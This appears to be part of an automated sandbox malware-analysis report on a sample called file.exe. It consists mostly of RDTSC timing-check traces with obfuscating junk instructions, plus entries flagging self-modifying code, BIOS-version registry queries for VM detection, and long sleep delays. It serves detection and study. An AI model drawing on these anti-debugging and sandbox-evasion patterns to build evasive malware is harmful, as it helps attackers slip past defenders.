Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51003E6 second address: 51003EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51003EC second address: 5100466 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, ADC3h 0x00000007 pushfd 0x00000008 jmp 00007FC870BD8068h 0x0000000d and ecx, 05CF5C88h 0x00000013 jmp 00007FC870BD805Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c jg 00007FC8E16F60C1h 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007FC870BD8064h 0x00000029 sub ch, FFFFFFE8h 0x0000002c jmp 00007FC870BD805Bh 0x00000031 popfd 0x00000032 mov dx, cx 0x00000035 popad 0x00000036 js 00007FC870BD80D8h 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FC870BD805Ch 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100466 second address: 510046A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510046A second address: 5100470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100470 second address: 5100476 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100476 second address: 510047A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510047A second address: 5100505 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp-14h], edi 0x0000000b jmp 00007FC87074E0D4h 0x00000010 jne 00007FC8E126C0C8h 0x00000016 pushad 0x00000017 movzx esi, di 0x0000001a pushfd 0x0000001b jmp 00007FC87074E0D3h 0x00000020 xor ecx, 1CB520EEh 0x00000026 jmp 00007FC87074E0D9h 0x0000002b popfd 0x0000002c popad 0x0000002d mov ebx, dword ptr [ebp+08h] 0x00000030 jmp 00007FC87074E0CEh 0x00000035 lea eax, dword ptr [ebp-2Ch] 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FC87074E0D7h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100505 second address: 510056A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD8069h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FC870BD805Ch 0x00000011 jmp 00007FC870BD8065h 0x00000016 popfd 0x00000017 mov ax, 8617h 0x0000001b popad 0x0000001c push eax 0x0000001d jmp 00007FC870BD805Dh 0x00000022 xchg eax, esi 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FC870BD805Dh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510056A second address: 51005AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 jmp 00007FC87074E0D8h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f pushad 0x00000010 mov bx, cx 0x00000013 mov ebx, ecx 0x00000015 popad 0x00000016 push eax 0x00000017 jmp 00007FC87074E0CFh 0x0000001c nop 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51005AA second address: 51005AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51005AE second address: 51005B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51005B4 second address: 51005F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC870BD8068h 0x00000009 sub cl, FFFFFFD8h 0x0000000c jmp 00007FC870BD805Bh 0x00000011 popfd 0x00000012 mov eax, 7B9B888Fh 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov ax, dx 0x00000021 movsx edi, si 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51005F2 second address: 5100604 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 mov bx, CF02h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 mov ebx, ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100604 second address: 5100623 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov bl, ch 0x00000008 popad 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC870BD8061h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100623 second address: 5100629 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0DC9 second address: 50F0DCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0DCF second address: 50F0DD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0E73 second address: 50F0EAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD8069h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC870BD8068h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0EAD second address: 50F0EB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0EB1 second address: 50F0EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0EB7 second address: 50F0EBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100A82 second address: 5100ABD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 mov esi, edx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov cx, 5ACBh 0x00000011 pushfd 0x00000012 jmp 00007FC870BD8060h 0x00000017 sbb cx, 15D8h 0x0000001c jmp 00007FC870BD805Bh 0x00000021 popfd 0x00000022 popad 0x00000023 xchg eax, ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100ABD second address: 5100AC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100AC1 second address: 5100AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100AC7 second address: 5100ACD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100ACD second address: 5100AF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC870BD8067h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100AF0 second address: 5100B1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a cmp dword ptr [75C7459Ch], 05h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FC87074E0D9h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100B1E second address: 5100B24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100BCA second address: 5100BCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100BCE second address: 5100BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100BD4 second address: 5100BF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FC87074E0C9h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100BF5 second address: 5100C12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD8069h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100C12 second address: 5100C78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov dl, 36h 0x0000000d pushfd 0x0000000e jmp 00007FC87074E0D8h 0x00000013 or ah, FFFFFF98h 0x00000016 jmp 00007FC87074E0CBh 0x0000001b popfd 0x0000001c popad 0x0000001d mov eax, dword ptr [esp+04h] 0x00000021 jmp 00007FC87074E0D9h 0x00000026 mov eax, dword ptr [eax] 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100C78 second address: 5100C7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100D54 second address: 5100D58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100D58 second address: 5100D5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110A7C second address: 5110A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110A81 second address: 5110AA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD805Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FC870BD8060h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110AA9 second address: 5110AAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110AAD second address: 5110AB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110AB1 second address: 5110AB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110AB7 second address: 5110BAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 3AB8h 0x00000007 push edi 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e mov edx, 5A8B81FCh 0x00000013 pushfd 0x00000014 jmp 00007FC870BD8065h 0x00000019 or ah, 00000056h 0x0000001c jmp 00007FC870BD8061h 0x00000021 popfd 0x00000022 popad 0x00000023 mov ebp, esp 0x00000025 pushad 0x00000026 movzx ecx, bx 0x00000029 pushfd 0x0000002a jmp 00007FC870BD8069h 0x0000002f jmp 00007FC870BD805Bh 0x00000034 popfd 0x00000035 popad 0x00000036 xchg eax, esi 0x00000037 jmp 00007FC870BD8066h 0x0000003c push eax 0x0000003d pushad 0x0000003e pushfd 0x0000003f jmp 00007FC870BD8061h 0x00000044 or ecx, 5563C176h 0x0000004a jmp 00007FC870BD8061h 0x0000004f popfd 0x00000050 pushfd 0x00000051 jmp 00007FC870BD8060h 0x00000056 and ah, FFFFFF98h 0x00000059 jmp 00007FC870BD805Bh 0x0000005e popfd 0x0000005f popad 0x00000060 xchg eax, esi 0x00000061 pushad 0x00000062 mov cx, DE6Bh 0x00000066 movzx esi, di 0x00000069 popad 0x0000006a mov esi, dword ptr [ebp+0Ch] 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007FC870BD8066h 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110BAC second address: 5110BE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 76D4h 0x00000007 pushfd 0x00000008 jmp 00007FC87074E0CDh 0x0000000d adc si, A596h 0x00000012 jmp 00007FC87074E0D1h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b test esi, esi 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110BE3 second address: 5110BE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110BE7 second address: 5110BED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110BED second address: 5110BF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110BF3 second address: 5110BF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110BF7 second address: 5110C52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FC8E16D580Eh 0x0000000e jmp 00007FC870BD8068h 0x00000013 cmp dword ptr [75C7459Ch], 05h 0x0000001a pushad 0x0000001b movzx esi, di 0x0000001e popad 0x0000001f je 00007FC8E16ED8C4h 0x00000025 jmp 00007FC870BD8064h 0x0000002a xchg eax, esi 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FC870BD805Ah 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110C52 second address: 5110C58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110C58 second address: 5110C97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD805Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FC870BD805Ch 0x00000013 jmp 00007FC870BD8065h 0x00000018 popfd 0x00000019 mov ecx, 1DBFF277h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110DB0 second address: 5110DB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110DB5 second address: 5110DD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC870BD8068h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110DD9 second address: 5110DE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110DE8 second address: 5110DEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110DEE second address: 5110DF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5E2F3 second address: 5C5E306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FC870BD8056h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007FC870BD8056h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5E306 second address: 5C5E30A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC8FD1 second address: 5DC8FD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD9D2A second address: 5DD9D44 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC87074E0C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FC87074E0D0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD9D44 second address: 5DD9D4E instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC870BD805Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD9E9E second address: 5DD9EC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD9EC1 second address: 5DD9F15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FC870BD8067h 0x0000000b jmp 00007FC870BD8060h 0x00000010 popad 0x00000011 jmp 00007FC870BD8068h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007FC870BD805Ah 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDA19A second address: 5DDA1AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FC87074E0C6h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDA463 second address: 5DDA471 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD805Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDA5CC second address: 5DDA5EA instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC87074E0C6h 0x00000008 jo 00007FC87074E0C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FC87074E0CAh 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDD48A second address: 5DDD490 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDD490 second address: 5DDD49B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FC87074E0C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDD49B second address: 5DDD4CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FC870BD8066h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jmp 00007FC870BD805Bh 0x00000016 mov eax, dword ptr [eax] 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDD4CF second address: 5DDD4D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDD4D3 second address: 5DDD4E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD805Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDD4E7 second address: 5DDD4EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDD4EB second address: 5DDD4EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDD4EF second address: 5DDD511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC87074E0D5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDD511 second address: 5DDD548 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC870BD8058h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b lea ebx, dword ptr [ebp+124532F5h] 0x00000011 mov ecx, dword ptr [ebp+122D2CE5h] 0x00000017 xchg eax, ebx 0x00000018 jmp 00007FC870BD8068h 0x0000001d push eax 0x0000001e pushad 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DCABE6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F67768 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F67B64 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F91EEE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FF5D8D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5E2ADDA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5C5DC11 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5E92B24 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5C61AA1 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05C5DDF1 rdtsc

0_2_05C5DDF1

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1126	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 829	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1074	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1156	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 815	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1090	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1136	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 879	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 462	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 7512	Thread sleep time: -2253126s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7516	Thread sleep time: -1658829s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7528	Thread sleep time: -2149074s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7616	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7640	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7536	Thread sleep time: -2313156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7532	Thread sleep time: -1630815s >= -30000s	Jump to behavior
